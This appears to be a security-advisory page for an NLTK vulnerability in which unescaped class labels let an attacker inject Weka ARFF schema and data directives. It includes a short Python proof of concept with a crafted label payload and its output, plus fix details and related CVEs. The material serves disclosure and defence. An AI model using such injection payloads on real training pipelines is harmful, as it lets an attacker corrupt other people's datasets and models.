CVE-2026-129221: NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels
Description Summary nltk.classify.weka.ARFFFormatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data…
Published Nov 19, 2026
Affected packages
nltk
- Ecosystem
- PyPI
- Affected
- <= 3.10.3
- Fixed in
- 3.10.4
- Check
pip show nltk
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
Summary
nltk.classify.weka.ARFF_Formatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.
This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFF_Formatter.from_train() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.
Technical Details
The vulnerable code path is:
WekaClassifier.train()callsARFF_Formatter.from_train(featuresets).from_train()extracts labels from the training data and passes them toARFF_Formatter(labels, features).header_section()uses",".join(self._labels)directly, embedding attacker‑controlled strings into the ARFF header without sanitization.
Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.
Proof of Concept
The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.
from nltk.classify.weka import ARFF_Formatter
# Attacker‑controlled label containing ARFF metacharacters.
# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,
# `@DATA` starts the data section early, and `%` comments out the rest.
malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"
featuresets = [
({"f": "benign"}, "legit"), # legitimate example
({"f": "payload"}, malicious_label), # attacker's example
]
# NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)
# Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)
# Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found"
assert "@DATA\n0,owned" in arff, "Injected data row not found"
print("=== Injected ARFF (excerpt) ===")
for line in arff.splitlines()[5:12]:
print(line)Expected output:
=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%Explanation of the injection:
· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.
References
· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).
Probe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).
Release: none yet; no release tag contains 56031eabc.
Credited to ekaf.
References
- https://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx
- https://nvd.nist.gov/vuln/detail/CVE-2026-129221
- https://github.com/nltk/nltk/pull/3768
- https://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594
- https://github.com/nltk/nltk/releases/tag/v3.10.4
- https://github.com/advisories/GHSA-9ffx-rrgx-mhgx
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-128135
NLTK: ZIP package extraction follows in-root hardlinks and overwrites files outside the NLTK data root
high7.1Nov 19, 2026CVE-2026-128136
NLTK: AllowlistUnpickler does not deny numpy submodule-local file-I/O sinks
medium6.1Nov 19, 2026CVE-2026-128137
NLTK corpus-reader view methods bypass the scoped root sandbox via intermediate-directory symlinks
medium5.5Nov 19, 2026CVE-2026-128138
NLTK incomplete fix: additional JVM/JAR sandbox bypass through unvalidated launcher tokens in java() command arguments
critical9.8Nov 19, 2026CVE-2026-128139
NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service
high7.5Nov 19, 2026CVE-2026-128140
NLTK: Downloader cyclic collection indices cause an infinite closure walk
medium6.5Nov 19, 2026
